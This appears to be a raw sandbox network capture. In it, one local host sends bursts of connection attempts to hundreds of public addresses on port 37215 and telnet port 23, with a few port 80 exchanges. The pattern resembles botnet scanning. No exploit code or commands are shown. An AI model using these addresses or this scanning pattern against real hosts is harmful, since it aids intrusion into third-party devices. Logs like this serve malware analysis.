Dec 3, 2024 22:02:08.571913958 CET	40832	37215	192.168.2.14	41.40.213.187
Dec 3, 2024 22:02:08.571923971 CET	40832	37215	192.168.2.14	197.164.193.147
Dec 3, 2024 22:02:08.571930885 CET	40832	37215	192.168.2.14	197.114.118.238
Dec 3, 2024 22:02:08.571933031 CET	40832	37215	192.168.2.14	197.167.200.110
Dec 3, 2024 22:02:08.571945906 CET	40832	37215	192.168.2.14	41.174.156.70
Dec 3, 2024 22:02:08.571945906 CET	40832	37215	192.168.2.14	41.177.202.217
Dec 3, 2024 22:02:08.571945906 CET	40832	37215	192.168.2.14	156.229.12.137
Dec 3, 2024 22:02:08.571960926 CET	40832	37215	192.168.2.14	197.156.53.81
Dec 3, 2024 22:02:08.571960926 CET	40832	37215	192.168.2.14	156.27.43.36
Dec 3, 2024 22:02:08.571968079 CET	40832	37215	192.168.2.14	41.86.245.116
Dec 3, 2024 22:02:08.571966887 CET	40832	37215	192.168.2.14	197.78.55.151
Dec 3, 2024 22:02:08.571968079 CET	40832	37215	192.168.2.14	156.75.69.44
Dec 3, 2024 22:02:08.571968079 CET	40832	37215	192.168.2.14	41.25.125.6
Dec 3, 2024 22:02:08.571976900 CET	40832	37215	192.168.2.14	156.87.175.226
Dec 3, 2024 22:02:08.571988106 CET	40832	37215	192.168.2.14	41.189.154.21
Dec 3, 2024 22:02:08.571988106 CET	40832	37215	192.168.2.14	197.76.206.129
Dec 3, 2024 22:02:08.571988106 CET	40832	37215	192.168.2.14	156.154.105.247
Dec 3, 2024 22:02:08.571995974 CET	40832	37215	192.168.2.14	41.182.95.20
Dec 3, 2024 22:02:08.571996927 CET	40832	37215	192.168.2.14	41.197.96.179
Dec 3, 2024 22:02:08.572001934 CET	40832	37215	192.168.2.14	41.251.128.25
Dec 3, 2024 22:02:08.572007895 CET	40832	37215	192.168.2.14	41.12.179.255
Dec 3, 2024 22:02:08.572010040 CET	40832	37215	192.168.2.14	156.205.179.121
Dec 3, 2024 22:02:08.572016954 CET	40832	37215	192.168.2.14	156.155.8.255
Dec 3, 2024 22:02:08.572021961 CET	40832	37215	192.168.2.14	41.35.128.181
Dec 3, 2024 22:02:08.572031975 CET	40832	37215	192.168.2.14	156.170.35.53
Dec 3, 2024 22:02:08.572036982 CET	40832	37215	192.168.2.14	41.183.124.45
Dec 3, 2024 22:02:08.572048903 CET	40832	37215	192.168.2.14	197.197.100.212
Dec 3, 2024 22:02:08.572056055 CET	40832	37215	192.168.2.14	197.64.25.15
Dec 3, 2024 22:02:08.572056055 CET	40832	37215	192.168.2.14	197.199.231.162
Dec 3, 2024 22:02:08.572068930 CET	40832	37215	192.168.2.14	156.195.134.113
Dec 3, 2024 22:02:08.572082996 CET	40832	37215	192.168.2.14	156.215.21.75
Dec 3, 2024 22:02:08.572082996 CET	40832	37215	192.168.2.14	197.179.86.159
Dec 3, 2024 22:02:08.572082996 CET	40832	37215	192.168.2.14	156.243.184.215
Dec 3, 2024 22:02:08.572084904 CET	40832	37215	192.168.2.14	197.151.70.255
Dec 3, 2024 22:02:08.572084904 CET	40832	37215	192.168.2.14	197.139.62.191
Dec 3, 2024 22:02:08.572096109 CET	40832	37215	192.168.2.14	41.159.213.184
Dec 3, 2024 22:02:08.572098017 CET	40832	37215	192.168.2.14	41.158.27.219
Dec 3, 2024 22:02:08.572103024 CET	40832	37215	192.168.2.14	197.59.21.74
Dec 3, 2024 22:02:08.572118998 CET	40832	37215	192.168.2.14	41.203.132.133
Dec 3, 2024 22:02:08.572134972 CET	40832	37215	192.168.2.14	197.119.106.209
Dec 3, 2024 22:02:08.572134972 CET	40832	37215	192.168.2.14	197.65.63.157
Dec 3, 2024 22:02:08.572134972 CET	40832	37215	192.168.2.14	156.243.93.1
Dec 3, 2024 22:02:08.572137117 CET	40832	37215	192.168.2.14	41.51.121.106
Dec 3, 2024 22:02:08.572144985 CET	40832	37215	192.168.2.14	41.178.140.16
Dec 3, 2024 22:02:08.572154045 CET	40832	37215	192.168.2.14	41.25.166.92
Dec 3, 2024 22:02:08.572164059 CET	40832	37215	192.168.2.14	197.224.28.218
Dec 3, 2024 22:02:08.572168112 CET	40832	37215	192.168.2.14	41.7.0.95
Dec 3, 2024 22:02:08.572191000 CET	40832	37215	192.168.2.14	156.29.209.211
Dec 3, 2024 22:02:08.572194099 CET	40832	37215	192.168.2.14	41.65.45.151
Dec 3, 2024 22:02:08.572194099 CET	40832	37215	192.168.2.14	197.89.130.100
Dec 3, 2024 22:02:08.572197914 CET	40832	37215	192.168.2.14	197.75.149.18
Dec 3, 2024 22:02:08.572199106 CET	40832	37215	192.168.2.14	197.48.122.224
Dec 3, 2024 22:02:08.572202921 CET	40832	37215	192.168.2.14	197.178.66.255
Dec 3, 2024 22:02:08.572202921 CET	40832	37215	192.168.2.14	197.52.53.87
Dec 3, 2024 22:02:08.572210073 CET	40832	37215	192.168.2.14	41.157.133.16
Dec 3, 2024 22:02:08.572210073 CET	40832	37215	192.168.2.14	41.236.243.220
Dec 3, 2024 22:02:08.572211027 CET	40832	37215	192.168.2.14	197.18.164.200
Dec 3, 2024 22:02:08.572210073 CET	40832	37215	192.168.2.14	197.66.247.125
Dec 3, 2024 22:02:08.572211981 CET	40832	37215	192.168.2.14	197.55.125.17
Dec 3, 2024 22:02:08.572223902 CET	40832	37215	192.168.2.14	156.91.116.158
Dec 3, 2024 22:02:08.572223902 CET	40832	37215	192.168.2.14	197.47.212.110
Dec 3, 2024 22:02:08.572238922 CET	40832	37215	192.168.2.14	41.215.75.181
Dec 3, 2024 22:02:08.572240114 CET	40832	37215	192.168.2.14	197.50.67.143
Dec 3, 2024 22:02:08.572256088 CET	40832	37215	192.168.2.14	41.91.25.27
Dec 3, 2024 22:02:08.572257042 CET	40832	37215	192.168.2.14	41.86.158.166
Dec 3, 2024 22:02:08.572261095 CET	40832	37215	192.168.2.14	41.41.250.160
Dec 3, 2024 22:02:08.572261095 CET	40832	37215	192.168.2.14	156.82.194.38
Dec 3, 2024 22:02:08.572267056 CET	40832	37215	192.168.2.14	41.61.216.58
Dec 3, 2024 22:02:08.572267056 CET	40832	37215	192.168.2.14	197.197.61.34
Dec 3, 2024 22:02:08.572267056 CET	40832	37215	192.168.2.14	197.105.2.57
Dec 3, 2024 22:02:08.572268963 CET	40832	37215	192.168.2.14	41.109.92.146
Dec 3, 2024 22:02:08.572272062 CET	40832	37215	192.168.2.14	197.250.128.21
Dec 3, 2024 22:02:08.572283983 CET	40832	37215	192.168.2.14	156.72.29.76
Dec 3, 2024 22:02:08.572288990 CET	40832	37215	192.168.2.14	41.183.107.48
Dec 3, 2024 22:02:08.572289944 CET	40832	37215	192.168.2.14	156.167.93.24
Dec 3, 2024 22:02:08.572299004 CET	40832	37215	192.168.2.14	156.230.45.50
Dec 3, 2024 22:02:08.572309017 CET	40832	37215	192.168.2.14	41.221.124.107
Dec 3, 2024 22:02:08.572319031 CET	40832	37215	192.168.2.14	197.119.38.196
Dec 3, 2024 22:02:08.572319031 CET	40832	37215	192.168.2.14	41.170.243.126
Dec 3, 2024 22:02:08.572321892 CET	40832	37215	192.168.2.14	41.161.121.65
Dec 3, 2024 22:02:08.572331905 CET	40832	37215	192.168.2.14	156.29.146.16
Dec 3, 2024 22:02:08.572331905 CET	40832	37215	192.168.2.14	41.16.120.8
Dec 3, 2024 22:02:08.572331905 CET	40832	37215	192.168.2.14	41.216.203.118
Dec 3, 2024 22:02:08.572351933 CET	40832	37215	192.168.2.14	197.45.198.63
Dec 3, 2024 22:02:08.572352886 CET	40832	37215	192.168.2.14	41.43.13.95
Dec 3, 2024 22:02:08.572352886 CET	40832	37215	192.168.2.14	197.37.208.218
Dec 3, 2024 22:02:08.572365999 CET	40832	37215	192.168.2.14	197.105.209.119
Dec 3, 2024 22:02:08.572371960 CET	40832	37215	192.168.2.14	156.63.80.57
Dec 3, 2024 22:02:08.572381973 CET	40832	37215	192.168.2.14	156.227.140.62
Dec 3, 2024 22:02:08.572395086 CET	40832	37215	192.168.2.14	197.213.99.50
Dec 3, 2024 22:02:08.572396994 CET	40832	37215	192.168.2.14	41.83.26.21
Dec 3, 2024 22:02:08.572396994 CET	40832	37215	192.168.2.14	156.77.60.253
Dec 3, 2024 22:02:08.572410107 CET	40832	37215	192.168.2.14	41.67.51.63
Dec 3, 2024 22:02:08.572412014 CET	40832	37215	192.168.2.14	41.136.216.22
Dec 3, 2024 22:02:08.572422028 CET	40832	37215	192.168.2.14	156.147.188.185
Dec 3, 2024 22:02:08.572422981 CET	40832	37215	192.168.2.14	156.254.72.173
Dec 3, 2024 22:02:08.572426081 CET	40832	37215	192.168.2.14	41.249.93.33
Dec 3, 2024 22:02:08.572437048 CET	40832	37215	192.168.2.14	156.194.244.7
Dec 3, 2024 22:02:08.572441101 CET	40832	37215	192.168.2.14	156.164.48.250
Dec 3, 2024 22:02:08.572451115 CET	40832	37215	192.168.2.14	156.144.143.121
Dec 3, 2024 22:02:08.572463036 CET	40832	37215	192.168.2.14	156.56.87.236
Dec 3, 2024 22:02:08.572479963 CET	40832	37215	192.168.2.14	197.134.255.125
Dec 3, 2024 22:02:08.572479963 CET	40832	37215	192.168.2.14	197.124.83.222
Dec 3, 2024 22:02:08.572484016 CET	40832	37215	192.168.2.14	156.95.174.122
Dec 3, 2024 22:02:08.572484016 CET	40832	37215	192.168.2.14	41.203.45.151
Dec 3, 2024 22:02:08.572484016 CET	40832	37215	192.168.2.14	197.15.11.32
Dec 3, 2024 22:02:08.572493076 CET	40832	37215	192.168.2.14	41.106.230.145
Dec 3, 2024 22:02:08.572504044 CET	40832	37215	192.168.2.14	41.114.87.111
Dec 3, 2024 22:02:08.572510958 CET	40832	37215	192.168.2.14	197.12.26.27
Dec 3, 2024 22:02:08.572524071 CET	40832	37215	192.168.2.14	197.61.190.103
Dec 3, 2024 22:02:08.572532892 CET	40832	37215	192.168.2.14	197.113.193.18
Dec 3, 2024 22:02:08.572532892 CET	40832	37215	192.168.2.14	197.199.147.109
Dec 3, 2024 22:02:08.572540045 CET	40832	37215	192.168.2.14	156.147.195.30
Dec 3, 2024 22:02:08.572546005 CET	40832	37215	192.168.2.14	41.3.116.185
Dec 3, 2024 22:02:08.572556973 CET	40832	37215	192.168.2.14	41.220.127.58
Dec 3, 2024 22:02:08.572559118 CET	40832	37215	192.168.2.14	156.209.251.3
Dec 3, 2024 22:02:08.572560072 CET	40832	37215	192.168.2.14	156.76.72.90
Dec 3, 2024 22:02:08.572566986 CET	40832	37215	192.168.2.14	156.29.175.217
Dec 3, 2024 22:02:08.572566986 CET	40832	37215	192.168.2.14	41.89.115.116
Dec 3, 2024 22:02:08.572567940 CET	40832	37215	192.168.2.14	41.230.39.244
Dec 3, 2024 22:02:08.572578907 CET	40832	37215	192.168.2.14	197.181.76.207
Dec 3, 2024 22:02:08.572594881 CET	40832	37215	192.168.2.14	197.215.91.34
Dec 3, 2024 22:02:08.572594881 CET	40832	37215	192.168.2.14	197.191.110.58
Dec 3, 2024 22:02:08.572604895 CET	40832	37215	192.168.2.14	156.63.127.214
Dec 3, 2024 22:02:08.572604895 CET	40832	37215	192.168.2.14	197.196.81.166
Dec 3, 2024 22:02:08.572609901 CET	40832	37215	192.168.2.14	41.177.225.225
Dec 3, 2024 22:02:08.572623968 CET	40832	37215	192.168.2.14	41.147.13.151
Dec 3, 2024 22:02:08.572628021 CET	40832	37215	192.168.2.14	41.119.186.126
Dec 3, 2024 22:02:08.572628021 CET	40832	37215	192.168.2.14	41.155.136.178
Dec 3, 2024 22:02:08.572628975 CET	40832	37215	192.168.2.14	197.176.124.73
Dec 3, 2024 22:02:08.572632074 CET	40832	37215	192.168.2.14	156.41.22.220
Dec 3, 2024 22:02:08.572642088 CET	40832	37215	192.168.2.14	41.228.78.82
Dec 3, 2024 22:02:08.572652102 CET	40832	37215	192.168.2.14	41.60.3.173
Dec 3, 2024 22:02:08.572655916 CET	40832	37215	192.168.2.14	41.103.90.231
Dec 3, 2024 22:02:08.572659969 CET	40832	37215	192.168.2.14	197.204.107.180
Dec 3, 2024 22:02:08.572671890 CET	40832	37215	192.168.2.14	197.57.125.207
Dec 3, 2024 22:02:08.572671890 CET	40832	37215	192.168.2.14	156.128.101.236
Dec 3, 2024 22:02:08.572684050 CET	40832	37215	192.168.2.14	197.12.30.160
Dec 3, 2024 22:02:08.572710037 CET	40832	37215	192.168.2.14	197.135.62.66
Dec 3, 2024 22:02:08.572715998 CET	40832	37215	192.168.2.14	156.146.39.6
Dec 3, 2024 22:02:08.572715998 CET	40832	37215	192.168.2.14	197.55.210.223
Dec 3, 2024 22:02:08.572715998 CET	40832	37215	192.168.2.14	197.238.240.207
Dec 3, 2024 22:02:08.572717905 CET	40832	37215	192.168.2.14	197.97.237.220
Dec 3, 2024 22:02:08.572720051 CET	40832	37215	192.168.2.14	156.222.163.108
Dec 3, 2024 22:02:08.572724104 CET	40832	37215	192.168.2.14	41.55.22.97
Dec 3, 2024 22:02:08.572731018 CET	40832	37215	192.168.2.14	156.24.161.64
Dec 3, 2024 22:02:08.572737932 CET	40832	37215	192.168.2.14	197.61.175.44
Dec 3, 2024 22:02:08.572760105 CET	40832	37215	192.168.2.14	41.150.96.188
Dec 3, 2024 22:02:08.572760105 CET	40832	37215	192.168.2.14	41.239.19.61
Dec 3, 2024 22:02:08.572760105 CET	40832	37215	192.168.2.14	197.214.211.33
Dec 3, 2024 22:02:08.572760105 CET	40832	37215	192.168.2.14	41.217.18.82
Dec 3, 2024 22:02:08.572760105 CET	40832	37215	192.168.2.14	41.227.190.164
Dec 3, 2024 22:02:08.572763920 CET	40832	37215	192.168.2.14	41.216.146.119
Dec 3, 2024 22:02:08.572767019 CET	40832	37215	192.168.2.14	156.35.94.78
Dec 3, 2024 22:02:08.572787046 CET	40832	37215	192.168.2.14	156.235.247.194
Dec 3, 2024 22:02:08.572788000 CET	40832	37215	192.168.2.14	197.4.184.81
Dec 3, 2024 22:02:08.572809935 CET	40832	37215	192.168.2.14	197.252.153.172
Dec 3, 2024 22:02:08.572809935 CET	40832	37215	192.168.2.14	41.69.38.70
Dec 3, 2024 22:02:08.572809935 CET	40832	37215	192.168.2.14	41.162.249.174
Dec 3, 2024 22:02:08.572809935 CET	40832	37215	192.168.2.14	197.196.135.211
Dec 3, 2024 22:02:08.572809935 CET	40832	37215	192.168.2.14	197.222.31.224
Dec 3, 2024 22:02:08.572810888 CET	40832	37215	192.168.2.14	156.214.41.255
Dec 3, 2024 22:02:08.572809935 CET	40832	37215	192.168.2.14	197.102.140.149
Dec 3, 2024 22:02:08.572809935 CET	40832	37215	192.168.2.14	156.142.135.255
Dec 3, 2024 22:02:08.572809935 CET	40832	37215	192.168.2.14	156.234.75.240
Dec 3, 2024 22:02:08.572820902 CET	40832	37215	192.168.2.14	156.199.28.235
Dec 3, 2024 22:02:08.572824001 CET	40832	37215	192.168.2.14	197.150.77.150
Dec 3, 2024 22:02:08.572824001 CET	40832	37215	192.168.2.14	41.104.166.245
Dec 3, 2024 22:02:08.572824955 CET	40832	37215	192.168.2.14	41.248.228.141
Dec 3, 2024 22:02:08.572825909 CET	40832	37215	192.168.2.14	197.175.239.42
Dec 3, 2024 22:02:08.572825909 CET	40832	37215	192.168.2.14	197.209.217.64
Dec 3, 2024 22:02:08.572837114 CET	40832	37215	192.168.2.14	197.60.187.24
Dec 3, 2024 22:02:08.572837114 CET	40832	37215	192.168.2.14	197.177.170.137
Dec 3, 2024 22:02:08.572837114 CET	40832	37215	192.168.2.14	197.54.23.226
Dec 3, 2024 22:02:08.572837114 CET	40832	37215	192.168.2.14	197.76.173.183
Dec 3, 2024 22:02:08.572848082 CET	40832	37215	192.168.2.14	41.195.59.185
Dec 3, 2024 22:02:08.572849035 CET	40832	37215	192.168.2.14	156.206.179.178
Dec 3, 2024 22:02:08.572849035 CET	40832	37215	192.168.2.14	41.59.88.75
Dec 3, 2024 22:02:08.572859049 CET	40832	37215	192.168.2.14	41.255.145.208
Dec 3, 2024 22:02:08.572860956 CET	40832	37215	192.168.2.14	41.124.197.209
Dec 3, 2024 22:02:08.572860956 CET	40832	37215	192.168.2.14	41.243.128.54
Dec 3, 2024 22:02:08.572864056 CET	40832	37215	192.168.2.14	156.82.163.255
Dec 3, 2024 22:02:08.572864056 CET	40832	37215	192.168.2.14	41.101.100.201
Dec 3, 2024 22:02:08.572865963 CET	40832	37215	192.168.2.14	197.118.6.38
Dec 3, 2024 22:02:08.572866917 CET	40832	37215	192.168.2.14	41.73.20.14
Dec 3, 2024 22:02:08.572868109 CET	40832	37215	192.168.2.14	197.155.92.51
Dec 3, 2024 22:02:08.572868109 CET	40832	37215	192.168.2.14	41.178.152.19
Dec 3, 2024 22:02:08.572868109 CET	40832	37215	192.168.2.14	156.223.153.35
Dec 3, 2024 22:02:08.572875023 CET	40832	37215	192.168.2.14	156.139.245.233
Dec 3, 2024 22:02:08.572877884 CET	40832	37215	192.168.2.14	197.87.225.132
Dec 3, 2024 22:02:08.572877884 CET	40832	37215	192.168.2.14	197.138.27.140
Dec 3, 2024 22:02:08.595833063 CET	80	57468	78.0.83.2	192.168.2.14
Dec 3, 2024 22:02:08.596153975 CET	80	57514	78.0.83.2	192.168.2.14
Dec 3, 2024 22:02:08.596215010 CET	57514	80	192.168.2.14	78.0.83.2
Dec 3, 2024 22:02:08.596277952 CET	57514	80	192.168.2.14	78.0.83.2
Dec 3, 2024 22:02:08.607937098 CET	80	45112	143.99.95.110	192.168.2.14
Dec 3, 2024 22:02:08.608315945 CET	80	45124	143.99.95.110	192.168.2.14
Dec 3, 2024 22:02:08.608480930 CET	45124	80	192.168.2.14	143.99.95.110
Dec 3, 2024 22:02:08.608480930 CET	45124	80	192.168.2.14	143.99.95.110
Dec 3, 2024 22:02:08.633493900 CET	80	60846	4.254.111.251	192.168.2.14
Dec 3, 2024 22:02:08.633668900 CET	80	32850	4.254.111.251	192.168.2.14
Dec 3, 2024 22:02:08.633759975 CET	32850	80	192.168.2.14	4.254.111.251
Dec 3, 2024 22:02:08.633804083 CET	32850	80	192.168.2.14	4.254.111.251
Dec 3, 2024 22:02:08.633949041 CET	80	42152	206.151.4.183	192.168.2.14
Dec 3, 2024 22:02:08.634290934 CET	80	42388	206.151.4.183	192.168.2.14
Dec 3, 2024 22:02:08.634335041 CET	42388	80	192.168.2.14	206.151.4.183
Dec 3, 2024 22:02:08.634366989 CET	42388	80	192.168.2.14	206.151.4.183
Dec 3, 2024 22:02:08.639364004 CET	80	57468	78.0.83.2	192.168.2.14
Dec 3, 2024 22:02:08.651396036 CET	80	45112	143.99.95.110	192.168.2.14
Dec 3, 2024 22:02:08.675446033 CET	80	42152	206.151.4.183	192.168.2.14
Dec 3, 2024 22:02:08.675451994 CET	80	60846	4.254.111.251	192.168.2.14
Dec 3, 2024 22:02:08.691615105 CET	37215	40832	156.48.47.146	192.168.2.14
Dec 3, 2024 22:02:08.691621065 CET	37215	40832	156.193.43.120	192.168.2.14
Dec 3, 2024 22:02:08.691648006 CET	37215	40832	41.178.249.86	192.168.2.14
Dec 3, 2024 22:02:08.691699028 CET	37215	40832	197.72.134.123	192.168.2.14
Dec 3, 2024 22:02:08.691699982 CET	40832	37215	192.168.2.14	156.48.47.146
Dec 3, 2024 22:02:08.691705942 CET	37215	40832	197.225.210.86	192.168.2.14
Dec 3, 2024 22:02:08.691719055 CET	37215	40832	156.186.46.0	192.168.2.14
Dec 3, 2024 22:02:08.691718102 CET	40832	37215	192.168.2.14	156.193.43.120
Dec 3, 2024 22:02:08.691726923 CET	40832	37215	192.168.2.14	41.178.249.86
Dec 3, 2024 22:02:08.691749096 CET	40832	37215	192.168.2.14	197.72.134.123
Dec 3, 2024 22:02:08.691752911 CET	40832	37215	192.168.2.14	156.186.46.0
Dec 3, 2024 22:02:08.691755056 CET	40832	37215	192.168.2.14	197.225.210.86
Dec 3, 2024 22:02:08.691766024 CET	37215	40832	41.255.207.156	192.168.2.14
Dec 3, 2024 22:02:08.691798925 CET	37215	40832	197.208.71.138	192.168.2.14
Dec 3, 2024 22:02:08.691813946 CET	40832	37215	192.168.2.14	41.255.207.156
Dec 3, 2024 22:02:08.691839933 CET	40832	37215	192.168.2.14	197.208.71.138
Dec 3, 2024 22:02:08.691842079 CET	37215	40832	197.169.14.100	192.168.2.14
Dec 3, 2024 22:02:08.691847086 CET	37215	40832	156.244.107.232	192.168.2.14
Dec 3, 2024 22:02:08.691885948 CET	40832	37215	192.168.2.14	197.169.14.100
Dec 3, 2024 22:02:08.691895008 CET	40832	37215	192.168.2.14	156.244.107.232
Dec 3, 2024 22:02:08.691914082 CET	37215	40832	156.212.161.29	192.168.2.14
Dec 3, 2024 22:02:08.691955090 CET	37215	40832	41.146.254.167	192.168.2.14
Dec 3, 2024 22:02:08.691961050 CET	37215	40832	197.51.35.149	192.168.2.14
Dec 3, 2024 22:02:08.691968918 CET	40832	37215	192.168.2.14	156.212.161.29
Dec 3, 2024 22:02:08.691991091 CET	40832	37215	192.168.2.14	197.51.35.149
Dec 3, 2024 22:02:08.692007065 CET	40832	37215	192.168.2.14	41.146.254.167
Dec 3, 2024 22:02:08.692028046 CET	37215	40832	197.255.22.244	192.168.2.14
Dec 3, 2024 22:02:08.692078114 CET	40832	37215	192.168.2.14	197.255.22.244
Dec 3, 2024 22:02:08.717593908 CET	80	57514	78.0.83.2	192.168.2.14
Dec 3, 2024 22:02:08.717650890 CET	57514	80	192.168.2.14	78.0.83.2
Dec 3, 2024 22:02:08.728816032 CET	80	45124	143.99.95.110	192.168.2.14
Dec 3, 2024 22:02:08.728873968 CET	45124	80	192.168.2.14	143.99.95.110
Dec 3, 2024 22:02:08.754430056 CET	80	32850	4.254.111.251	192.168.2.14
Dec 3, 2024 22:02:08.754475117 CET	32850	80	192.168.2.14	4.254.111.251
Dec 3, 2024 22:02:08.754678011 CET	80	42388	206.151.4.183	192.168.2.14
Dec 3, 2024 22:02:08.754720926 CET	42388	80	192.168.2.14	206.151.4.183
Dec 3, 2024 22:02:09.225199938 CET	38790	23	192.168.2.14	32.59.243.158
Dec 3, 2024 22:02:09.225200891 CET	34854	23	192.168.2.14	58.184.38.20
Dec 3, 2024 22:02:09.225207090 CET	34714	23	192.168.2.14	37.108.249.43
Dec 3, 2024 22:02:09.225213051 CET	34504	23	192.168.2.14	107.2.164.30
Dec 3, 2024 22:02:09.225213051 CET	53446	23	192.168.2.14	14.41.231.155
Dec 3, 2024 22:02:09.225213051 CET	50838	23	192.168.2.14	114.46.8.174
Dec 3, 2024 22:02:09.225214958 CET	39296	23	192.168.2.14	95.135.111.65
Dec 3, 2024 22:02:09.225214958 CET	36680	23	192.168.2.14	93.83.130.48
Dec 3, 2024 22:02:09.225217104 CET	33082	23	192.168.2.14	105.53.147.224
Dec 3, 2024 22:02:09.225219011 CET	56636	23	192.168.2.14	59.210.188.193
Dec 3, 2024 22:02:09.225219011 CET	40820	23	192.168.2.14	170.153.254.83
Dec 3, 2024 22:02:09.225225925 CET	57008	23	192.168.2.14	66.214.186.90
Dec 3, 2024 22:02:09.225234032 CET	44340	23	192.168.2.14	78.104.149.54
Dec 3, 2024 22:02:09.225234032 CET	53324	23	192.168.2.14	193.102.59.233
Dec 3, 2024 22:02:09.225239038 CET	38296	23	192.168.2.14	160.166.16.15
Dec 3, 2024 22:02:09.225239038 CET	52928	23	192.168.2.14	1.230.10.66
Dec 3, 2024 22:02:09.225239992 CET	35290	23	192.168.2.14	160.111.90.220
Dec 3, 2024 22:02:09.225244999 CET	34638	23	192.168.2.14	75.54.151.23
Dec 3, 2024 22:02:09.225251913 CET	48088	23	192.168.2.14	211.95.211.58
Dec 3, 2024 22:02:09.225251913 CET	56896	23	192.168.2.14	98.170.193.66
Dec 3, 2024 22:02:09.225254059 CET	41998	23	192.168.2.14	190.238.17.67
Dec 3, 2024 22:02:09.225259066 CET	36802	23	192.168.2.14	143.167.69.217
Dec 3, 2024 22:02:09.225259066 CET	37304	23	192.168.2.14	168.9.6.143
Dec 3, 2024 22:02:09.225296021 CET	45618	23	192.168.2.14	27.9.185.49
Dec 3, 2024 22:02:09.225300074 CET	51092	23	192.168.2.14	169.29.224.24
Dec 3, 2024 22:02:09.225300074 CET	48796	23	192.168.2.14	179.148.242.201
Dec 3, 2024 22:02:09.225300074 CET	46112	37215	192.168.2.14	156.244.102.116
Dec 3, 2024 22:02:09.225305080 CET	52704	23	192.168.2.14	45.38.219.202
Dec 3, 2024 22:02:09.225305080 CET	48844	23	192.168.2.14	92.197.108.190
Dec 3, 2024 22:02:09.225305080 CET	54448	23	192.168.2.14	147.110.241.147
Dec 3, 2024 22:02:09.225305080 CET	47122	23	192.168.2.14	25.0.196.199
Dec 3, 2024 22:02:09.225306988 CET	52886	23	192.168.2.14	53.237.131.141
Dec 3, 2024 22:02:09.225311041 CET	45754	23	192.168.2.14	37.34.136.107
Dec 3, 2024 22:02:09.225312948 CET	48652	23	192.168.2.14	205.127.61.13
Dec 3, 2024 22:02:09.225312948 CET	52908	23	192.168.2.14	105.46.1.112
Dec 3, 2024 22:02:09.321166992 CET	35440	23	192.168.2.14	20.91.200.172
Dec 3, 2024 22:02:09.345793009 CET	23	34854	58.184.38.20	192.168.2.14
Dec 3, 2024 22:02:09.345803976 CET	23	38790	32.59.243.158	192.168.2.14
Dec 3, 2024 22:02:09.345844030 CET	23	34714	37.108.249.43	192.168.2.14
Dec 3, 2024 22:02:09.345854044 CET	23	39296	95.135.111.65	192.168.2.14
Dec 3, 2024 22:02:09.345865011 CET	38790	23	192.168.2.14	32.59.243.158
Dec 3, 2024 22:02:09.345865011 CET	34854	23	192.168.2.14	58.184.38.20
Dec 3, 2024 22:02:09.345875025 CET	23	56636	59.210.188.193	192.168.2.14
Dec 3, 2024 22:02:09.345889091 CET	34714	23	192.168.2.14	37.108.249.43
Dec 3, 2024 22:02:09.345891953 CET	23	34504	107.2.164.30	192.168.2.14
Dec 3, 2024 22:02:09.345896006 CET	39296	23	192.168.2.14	95.135.111.65
Dec 3, 2024 22:02:09.345909119 CET	23	40820	170.153.254.83	192.168.2.14
Dec 3, 2024 22:02:09.345911980 CET	56636	23	192.168.2.14	59.210.188.193
Dec 3, 2024 22:02:09.345921993 CET	23	57008	66.214.186.90	192.168.2.14
Dec 3, 2024 22:02:09.345927000 CET	34504	23	192.168.2.14	107.2.164.30
Dec 3, 2024 22:02:09.345932007 CET	23	36680	93.83.130.48	192.168.2.14
Dec 3, 2024 22:02:09.345936060 CET	40820	23	192.168.2.14	170.153.254.83
Dec 3, 2024 22:02:09.345947981 CET	57008	23	192.168.2.14	66.214.186.90
Dec 3, 2024 22:02:09.345967054 CET	36680	23	192.168.2.14	93.83.130.48
Dec 3, 2024 22:02:09.346028090 CET	23	33082	105.53.147.224	192.168.2.14
Dec 3, 2024 22:02:09.346029043 CET	39808	23	192.168.2.14	205.19.80.217
Dec 3, 2024 22:02:09.346033096 CET	39808	23	192.168.2.14	92.24.31.136
Dec 3, 2024 22:02:09.346033096 CET	39808	23	192.168.2.14	155.0.54.62
Dec 3, 2024 22:02:09.346038103 CET	39808	23	192.168.2.14	180.215.131.77
Dec 3, 2024 22:02:09.346040964 CET	39808	23	192.168.2.14	13.151.204.89
Dec 3, 2024 22:02:09.346040964 CET	39808	23	192.168.2.14	204.131.232.14
Dec 3, 2024 22:02:09.346041918 CET	39808	23	192.168.2.14	44.228.66.178
Dec 3, 2024 22:02:09.346045017 CET	39808	23	192.168.2.14	201.54.136.219
Dec 3, 2024 22:02:09.346051931 CET	39808	23	192.168.2.14	116.150.44.156
Dec 3, 2024 22:02:09.346062899 CET	39808	23	192.168.2.14	210.161.34.8
Dec 3, 2024 22:02:09.346062899 CET	33082	23	192.168.2.14	105.53.147.224
Dec 3, 2024 22:02:09.346062899 CET	39808	23	192.168.2.14	174.31.161.36
Dec 3, 2024 22:02:09.346062899 CET	39808	23	192.168.2.14	174.102.202.55
Dec 3, 2024 22:02:09.346065044 CET	23	53446	14.41.231.155	192.168.2.14
Dec 3, 2024 22:02:09.346066952 CET	39808	23	192.168.2.14	137.138.27.222
Dec 3, 2024 22:02:09.346079111 CET	39808	23	192.168.2.14	87.64.167.174
Dec 3, 2024 22:02:09.346081018 CET	39808	23	192.168.2.14	81.176.196.117
Dec 3, 2024 22:02:09.346081972 CET	39808	23	192.168.2.14	79.98.20.21
Dec 3, 2024 22:02:09.346091032 CET	39808	23	192.168.2.14	94.99.173.221
Dec 3, 2024 22:02:09.346096992 CET	23	50838	114.46.8.174	192.168.2.14
Dec 3, 2024 22:02:09.346108913 CET	23	35290	160.111.90.220	192.168.2.14
Dec 3, 2024 22:02:09.346112967 CET	39808	23	192.168.2.14	203.52.188.235
Dec 3, 2024 22:02:09.346113920 CET	39808	23	192.168.2.14	41.20.81.225
Dec 3, 2024 22:02:09.346115112 CET	53446	23	192.168.2.14	14.41.231.155
Dec 3, 2024 22:02:09.346117020 CET	39808	23	192.168.2.14	161.241.155.190
Dec 3, 2024 22:02:09.346131086 CET	23	38296	160.166.16.15	192.168.2.14
Dec 3, 2024 22:02:09.346132994 CET	39808	23	192.168.2.14	90.141.84.1
Dec 3, 2024 22:02:09.346132994 CET	39808	23	192.168.2.14	161.81.204.136
Dec 3, 2024 22:02:09.346132994 CET	39808	23	192.168.2.14	78.106.192.242
Dec 3, 2024 22:02:09.346138954 CET	35290	23	192.168.2.14	160.111.90.220
Dec 3, 2024 22:02:09.346143961 CET	39808	23	192.168.2.14	135.4.17.207
Dec 3, 2024 22:02:09.346155882 CET	39808	23	192.168.2.14	125.225.45.60
Dec 3, 2024 22:02:09.346157074 CET	50838	23	192.168.2.14	114.46.8.174
